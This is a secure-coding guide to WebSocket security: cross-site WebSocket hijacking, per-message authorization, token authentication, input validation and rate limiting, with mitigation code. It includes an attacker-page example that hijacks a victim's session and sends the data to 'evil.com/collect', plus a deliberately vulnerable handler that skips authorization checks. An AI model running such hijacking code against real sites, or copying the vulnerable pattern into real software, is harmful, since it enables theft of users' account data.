WebSocket Security: Cross-Site Hijacking, Authorization Bypass, and Protocol Attacks

WebSockets don't follow the same security rules as HTTP — they have no same-origin policy, skip CORS, and often receive less security scrutiny than REST endpoints. This guide covers Cross-Site WebSocket Hijacking, authorization bypass patterns, and code-level mitigations.

WebSocket connections start as HTTP, complete an upgrade handshake, and then become a persistent bidirectional channel that bypasses most of the browser’s normal security machinery. No same-origin policy enforcement after the handshake. No CORS. Cookies are still sent — which is where the problems start.

As real-time features have become standard — live dashboards, collaborative editing, notifications, trading platforms — WebSocket endpoints have multiplied in codebases that don’t always apply the same scrutiny to them that they would to a REST API.

Cross-Site WebSocket Hijacking (CSWSH)

CSWSH is the WebSocket equivalent of CSRF. An attacker-controlled page initiates a WebSocket connection to your application server. The browser sends cookies with the handshake. If your server doesn’t validate the Origin header, the connection succeeds and the attacker’s page can send messages and receive responses as the victim user.

The Attack

// Attacker's page (evil.com) — victim visits this while logged into target.com
const ws = new WebSocket('wss://target.com/api/ws');

ws.onopen = () => {
  // Authenticated as the victim — their cookies were sent with the handshake
  ws.send(JSON.stringify({ action: 'get_account_details' }));
};

ws.onmessage = (event) => {
  // Exfiltrate the response to attacker infrastructure
  fetch('https://evil.com/collect', {
    method: 'POST',
    body: event.data
  });
};

The browser sends Cookie headers during the WebSocket handshake because the origin of the JS is evil.com, but the target of the connection is target.com — so cookies scoped to target.com are included.

Prevention: Origin Header Validation

// Node.js — ws library
const WebSocket = require('ws');

const ALLOWED_ORIGINS = [
  'https://target.com',
  'https://app.target.com'
];

const wss = new WebSocket.Server({
  port: 8080,
  verifyClient: (info) => {
    const origin = info.origin;
    if (!ALLOWED_ORIGINS.includes(origin)) {
      console.warn(`Rejected WebSocket from origin: ${origin}`);
      return false;  // Reject the upgrade
    }
    return true;
  }
});
# Python — FastAPI with websockets
from fastapi import WebSocket, WebSocketDisconnect, HTTPException
from fastapi.websockets import WebSocketState

ALLOWED_ORIGINS = {"https://target.com", "https://app.target.com"}

@app.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket):
    origin = websocket.headers.get("origin", "")
    if origin not in ALLOWED_ORIGINS:
        await websocket.close(code=4003)
        return
    
    await websocket.accept()
    # ... handle connection

Don’t rely on Origin alone for security-critical actions. The Origin header is browser-enforced, but non-browser clients can set any value. Combine origin validation with token-based authentication.

Authorization Bypass: The Authentication Gap

A common vulnerability pattern: the WebSocket connection is established after an HTTP-based login, but the server only checks authentication at connection time, not on individual messages. Or worse — it checks only that a cookie exists, without verifying that the cookie belongs to a user with permission to perform the requested action.

Vulnerable Pattern

// Vulnerable — authenticates connection but not individual message actions
wss.on('connection', (ws, req) => {
  const session = getSessionFromCookie(req.headers.cookie);
  
  if (!session) {
    ws.close();
    return;
  }
  
  ws.on('message', (data) => {
    const message = JSON.parse(data);
    
    // ❌ No authorization check — any authenticated user can do anything
    if (message.action === 'admin_delete_user') {
      deleteUser(message.userId);
    }
    
    if (message.action === 'get_other_user_data') {
      // ❌ No ownership check — any user can request any user's data
      const userData = getUserData(message.targetUserId);
      ws.send(JSON.stringify(userData));
    }
  });
});

Secure Pattern

// Secure — per-message authorization
wss.on('connection', (ws, req) => {
  const session = getSessionFromCookie(req.headers.cookie);
  
  if (!session || !session.userId) {
    ws.close(1008, 'Unauthorized');
    return;
  }
  
  const authenticatedUserId = session.userId;
  const userRole = session.role;
  
  ws.on('message', async (data) => {
    let message;
    try {
      message = JSON.parse(data);
    } catch {
      ws.send(JSON.stringify({ error: 'Invalid message format' }));
      return;
    }
    
    // ✅ Check authorization for each action
    if (message.action === 'admin_delete_user') {
      if (userRole !== 'admin') {
        ws.send(JSON.stringify({ error: 'Forbidden' }));
        return;
      }
      await deleteUser(message.userId);
    }
    
    if (message.action === 'get_user_data') {
      // ✅ Ownership check — users can only access their own data
      if (message.targetUserId !== authenticatedUserId && userRole !== 'admin') {
        ws.send(JSON.stringify({ error: 'Forbidden' }));
        return;
      }
      const userData = await getUserData(message.targetUserId);
      ws.send(JSON.stringify(userData));
    }
  });
});

Token-Based WebSocket Authentication

For SPAs and mobile clients, cookie-based auth for WebSockets is fragile. The cleaner pattern is to pass a short-lived token in the connection URL or as the first message after connection:

// Client — send token in first message after connection
const ws = new WebSocket('wss://target.com/api/ws');
const authToken = getAuthToken(); // JWT from localStorage or httpOnly cookie via /api/token endpoint

ws.onopen = () => {
  // First message must be authentication
  ws.send(JSON.stringify({ 
    type: 'auth', 
    token: authToken 
  }));
};
// Server — require auth message within timeout window
wss.on('connection', (ws) => {
  let authenticated = false;
  const authTimeout = setTimeout(() => {
    if (!authenticated) {
      ws.close(1008, 'Authentication timeout');
    }
  }, 5000); // 5 seconds to authenticate

  ws.on('message', async (data) => {
    const message = JSON.parse(data);
    
    if (!authenticated) {
      if (message.type !== 'auth') {
        ws.close(1008, 'Authentication required');
        return;
      }
      
      try {
        const payload = jwt.verify(message.token, process.env.JWT_SECRET);
        ws.userId = payload.sub;
        ws.userRole = payload.role;
        authenticated = true;
        clearTimeout(authTimeout);
        ws.send(JSON.stringify({ type: 'auth_ok' }));
      } catch (err) {
        ws.close(1008, 'Invalid token');
      }
      return;
    }
    
    // Handle authenticated messages...
  });
});

Message Injection and Input Validation

WebSocket messages are frequently deserialized directly into action handlers. Validate and sanitize every message:

// Input validation middleware for WebSocket messages
function validateMessage(message) {
  const schema = {
    action: { type: 'string', enum: ['get_data', 'update_profile', 'send_message'] },
    payload: { type: 'object' }
  };
  
  if (typeof message.action !== 'string' || !schema.action.enum.includes(message.action)) {
    throw new Error('Invalid action');
  }
  
  // Prevent prototype pollution
  if (message.payload && typeof message.payload === 'object') {
    if ('__proto__' in message.payload || 'constructor' in message.payload) {
      throw new Error('Suspicious payload');
    }
  }
  
  return true;
}

Rate Limiting

WebSocket endpoints are often exempt from HTTP-level rate limiting middleware. Add message-level rate limiting to prevent abuse:

const messageCounts = new Map();

ws.on('message', (data) => {
  const clientId = ws.userId || ws._socket.remoteAddress;
  const now = Date.now();
  const windowStart = now - 60000; // 1 minute window
  
  if (!messageCounts.has(clientId)) {
    messageCounts.set(clientId, []);
  }
  
  const timestamps = messageCounts.get(clientId).filter(t => t > windowStart);
  timestamps.push(now);
  messageCounts.set(clientId, timestamps);
  
  if (timestamps.length > 100) { // 100 messages per minute limit
    ws.send(JSON.stringify({ error: 'Rate limit exceeded' }));
    return;
  }
  
  // Process message...
});

Security Checklist

  • Validate the Origin header on every WebSocket upgrade — reject connections from unexpected origins
  • Authenticate at the message level, not just at connection time
  • Authorise every action — don’t assume connection-level auth covers action-level permission
  • Validate and sanitize all incoming message content
  • Apply rate limiting to WebSocket message handlers
  • Use wss:// (TLS) exclusively — never ws:// in production
  • Set connection timeouts and close idle connections
  • Log WebSocket auth failures and unexpected message patterns

WebSocket endpoints are part of your API attack surface. They deserve the same security review process as your REST endpoints — which means they usually need more attention than they’re currently getting.